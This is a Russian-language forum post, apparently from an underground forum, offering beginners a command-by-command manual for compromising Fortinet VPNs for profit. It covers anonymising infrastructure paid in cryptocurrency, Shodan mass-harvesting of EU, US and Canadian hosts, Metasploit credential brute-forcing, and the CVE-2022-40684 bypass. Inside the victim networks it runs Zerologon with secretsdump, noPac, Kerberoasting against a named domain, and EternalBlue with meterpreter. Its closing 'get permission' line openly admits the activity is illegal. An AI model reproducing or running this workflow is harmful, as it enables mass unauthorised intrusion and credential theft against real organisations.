Статья Пентест Forti ВПН доступов. Еще один МАНУАЛ для новичков

Admin

Администратор

Пентест Forti ВПН доступов. Еще один МАНУАЛ для новичков

Это простой способ пентеста forti впн, почти бесплано, расходы на сервера.
Есть много других способов, это один из многих, ни на что не претендую, просто делюсь тем что делал для себя, может быть кому то поможет заработать первые $$$.

1. Инфра
Схема такакя соседский вайфай --> ПК(крипт+VPN) --> virtualka c whonix(+VPN) --> RDP(крипт+VPN), это минимум для вашей безопасности, впны все от разных провайдеров, покупаем за btc или xmr.
Для работы понадобиться 2 сервера.

>>>Первый сервер(скан серв) с мин характеристиками(дебиан) для скана, брута, туда поставим msfconsole, shodan и tmux для удобства. Этот сервер будет часто улетать в бан, поэтому $15-20 постоянные расходы.

apt install tmux
pipx install shodan

curl https://raw.githubusercontent.com/r...s/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

#ключи для shodan берем здесь или где то еще на xss
shodan init $ключ

#проверям если есть кредиты
shodan info

>>>втрой сервер для пентеста(назавем его атакующий серв), мин 8гб RAM(дебиан или убунту), т.к. туда поставим KVM/QEMU виртуалку и на нее debian с forti client(для чего? т.к. при подключении к форти впн теряется коннект, виртуалка помогает решить это), и инструменты.

#Ставим gui(не обязательно, но так будет проще установить дебиан в virt-manager)
apt -y install xfce4 xfce4-goodies xrdp
systemctl enable xrdp
echo xfce4-session >~/.xsession
service xrdp restart

#Далее KVM/QEMU
Если не понятно как установить, то подробная инструкция здесь https://www.whonix.org/wiki/KVM
или вот:
sudo apt install --no-install-recommends qemu-kvm qemu-system-x86 libvirt-daemon-system libvirt-clients virt-manager gir1.2-spiceclientgtk-3.0 dnsmasq qemu-utils iptables
sudo adduser "$(whoami)" libvirt
sudo adduser "$(whoami)" kvm
sudo virsh -c qemu:///system net-autostart default
sudo virsh -c qemu:///system net-start default

#Устанавливаем debian в виртуалку через virt-manager
По установке там все просто, почти как с virtual box, качаем дебиан, в virt-manager "create new virt machine" --> "local install media" --> "choose ISO" --> forward.... и т.д.


далее выполняем след команды, это для подключение к вируалке через консоль
systemctl enable [email protected]
systemctl start [email protected]
nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="console=tty0 console=ttyS0"
GRUB_TERMINAL="serial console"
update-grub


>>Все что ниже, устанавливем на дебиан который мы поставили в virt-manager
#как к нему подключиться
virsh list --all
virsh start $VM

virsh console $VM --force


#Устанавливаем forticlient
wget -O - https://repo.fortinet.com/repo/forticlient/7.2/debian/DEB-GPG-KEY | sudo apt-key add -
apt edit-sources
deb [arch=amd64] https://repo.fortinet.com/repo/forticlient/7.2/debian/ stable non-free

apt update
apt install forticlient gnome-keyring

curl https://raw.githubusercontent.com/r...s/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall

#Установка инструментов
apt -y install tmux git python3-pip curl python3 python3-pip libssl-dev libffi-dev build-essential python3-impacket masscan libpcap-dev nmap python3-shodan proxychains nasm python3-termcolor smbmap snmp pipx hydra python3-pyfiglet python3-pyqt6 python3-prettytable python3-bs4

git clone https://github.com/Ridter/noPac
git clone https://github.com/SecureAuthCorp/impacket

pipx install crackmapexec


#создаем папку tools и туда закидываем
mkdir tools

kerbrute
cve-2020-1472-exploit.py
GetNPUsers.py
CVE-2021-21972.py
noPac.py
GetUserSPNs.py
psexec.py
smbexec.py
smbclient.py
secretsdump.py
userlist.txt #берем из мануала Basterlorda

и создаем файл 2.sh с содержимым
for port in 443 445 88 3389; do grep "$port" ./masscan_results | cut -d "=" -f3 | cut -d '"' -f2 > "${port}.txt"; wc -l "./${port}.txt"; done
cme smb ./445.txt
nmap -v -p 3389,445 -iL ./88.txt --script rdp-ntlm-info,smb-os-discovery -Pn -oN ./88_2.txt
nmap -p 443 -iL ./443.txt --script vmware-version -oN ./esxi.txt
nmap -v -p 445 -iL ./445.txt --script smb-vuln-ms08-067,smb-vuln-ms17-010 -oN ./ms17.txt
nmap -Pn -n -p 5000,5001,9443,9392,9393,9401,6160, 6101,10000,3527,6106,1125,1434,6102,3527,6106 -iL ./ranges.txt -oA ./backups.txt

#чтобы выйти из консоли виртуалки наужно нажать Ctrl + ]


2. МАТЕРИАЛ
2.1 Brute

#подключаемся через ssh и запускаем tmux
tmux ls # показывает активные терминалы
tmux a -t 0 # подключиться к 0 терминалу
ctrl +b +d #выйти из tmux
ctrl +b +% #сплит окна на 2 гризонтально
ctrl +b +" #сплит окна на 2 вертикально
ctrl +b и стрелки перемещение между окнами

#разбиваем окно tmux на 2 и в одном shodan в другом msfconsole
shodan download --limit 5000000 fortinet_eu.json.gz fortinet country:"AT","BE","BG","CY","CZ","DE","DK","EE","ES","FI","FR","GR","HR","HU","IE","IT","LT","LU","LV","MT","NL","PL","PT","RO","SE","SI"
shodan download --limit 5000000 fortinet_us.json.gz fortinet country:"US"
shodan download --limit 5000000 fortinet_eu.json.gz fortinet country:"CA"

далее делаем экспорт
shodan parse fortinet_eu.json.gz --fields=ip_str,port > fortinet_eu.txt
shodan parse fortinet_us.json.gz --fields=ip_str,port > fortinet_us.txt
shodan parse fortinet_ca.json.gz --fields=ip_str,port > fortinet_ca.txt

#сортируем по кол-ву портов
awk '{count[$2]++} END {for (port in count) print count[port], "occurrences - Port", port}' fortinet_eu.txt | sort -rn
awk '{count[$2]++} END {for (port in count) print count[port], "occurrences - Port", port}' fortinet_us.txt | sort -rn
awk '{count[$2]++} END {for (port in count) print count[port], "occurrences - Port", port}' fortinet_ca.txt | sort -rn

#выгружаем ip по портам(например на 10443)
grep -E '\s10443$' fortinet_ca.txt | awk '{print $1}' > 10443_ca.txt
grep -E '\s10443$' fortinet_eu.txt | awk '{print $1}' > 10443_eu.txt
grep -E '\s10443$' fortinet_us.txt | awk '{print $1}' > 10443_us.txt

#можно обьединить в один
cat 10443_ca.txt 10443_eu.txt 10443_us.txt >10443.txt

#нужно создать users и pass файлы с кредами для брута(например)
nano users
test
admin

nano pass
test
test123

#перключаемся на второе онко в мету
systemctl start postgresql
msfdb init
msfconsole
#сразу лучше проверить если бд подключена, не должно быть ошибки
creds

use auxiliary/scanner/http/fortinet_ssl_vpn
set rport 10443
set USER_FILE users
set PASS_FILE pass
set THREADS 10
set RHOSTS file:10443.txt
run

#можно сплитать еще одно окно ctrl+b+" и через некоторое время проверять креды
creds

2.2 Forti CVE
берем ip из шодана и в msfconsole
systemctl start postgresql
msfdb init
msfconsole
use linux/http/fortinet_authentication_bypass_cve_2022_40684
set rhosts file:10443.txt
run


В результате получаем креды, сохраняем в файл ip:port,user,pass


3. ПЕНТЕСТ
#заходим через ssh на атакующий серв, и подлючаемся к вируалке
virsh start $VM
virsh console $VM --force
tmux

#берем ip и подключаемся к сети
CREDENTIALS="192.168.1.1:10443,test,test" && IFS=',' read -ra PARTS <<< "$CREDENTIALS" && IP_PORT="${PARTS[0]}" && USER="${PARTS[1]}" && PASS="${PARTS[2]}" && IFS=':' read -ra IP_PORT_PARTS <<< "$IP_PORT" && IP="${IP_PORT_PARTS[0]}" && PORT="${IP_PORT_PARTS[1]}" && { echo -e "$IP\n$PORT" | forticlient vpn edit "$IP"; expect -c "spawn forticlient vpn connect $IP -p $PORT -u $USER; expect \"password:\" {send \"$PASS\\r\"}; interact"; }

#запускаем скрипты и ждем резултат
source ~/.bashrc
mkdir ./$IP
cp -R ./tools/* ./$IP
mkdir -p ./$IP/{screenshots,hosts,services}
touch ./$IP/ranges.txt
cd ./$IP
ip route | awk '/vpn/ {print $1}' > ranges.txt;
sleep 2;
VPN_ADAPTER=$(ip route | grep -E -o "vpn[0-9A-Za-z]{1,20}" | uniq); sudo masscan -p3389,445,88,443 --open -iL ./ranges.txt -oX ./masscan_results --rate=2000 --ping --open-only --adapter $VPN_ADAPTER;
sleep 15;
./2.sh

# в резульатате получаем примерную картину сети(смотрим сколько хостов, если есть DC, ms17, esxi и т.д.)
#далее делам проверки по уязвимостям

cme smb ./445.txt --local-auth -u admin -p admin
./kerbrute userenum ./userlist.txt --dc iiiiiiiiiipppppp -d domain.local
hydra -L users -P top_pass iiiiiiiiiipppppp ldap2 -V -f -o hydra.txt
python cve-2020-1472-exploit.py -t iiiiiiiiiipppppp -n NetBIOS_Computer_Name
#если пробились то далее python secretsdump.py -no-pass -just-dc Domain_name/NetBIOS_Computer_Name\$@ip_dc
python GetNPUsers.py domain.local/ -usersfile ./users -no-pass -dc-ip iiiiiiiiiipppppp -request
python CVE-2021-21972.py -t iiiiiiiiiipppppp
python noPac.py domain.local/admin:admin -dc-ip iiiiipppppp --impersonate admin -dump -use-ldap
python GetUserSPNs.py rush-enterprises.com/admin:admin -dc-ip iiiiipppppp -request

есле есть ms17, а он часто есть
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.1.1
run
или так
use exploit/windows/smb/ms17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.1.1
run


#чтобы отключиться
forticlient vpn disconnect


ps
т.к. вся эта х#йня противозаконна, то ОБЯЗАТЕЛЬНО получите разрешение на пентест сети)
ps2
по циско почти тоже самое с небольшими изменениями
 

Название темы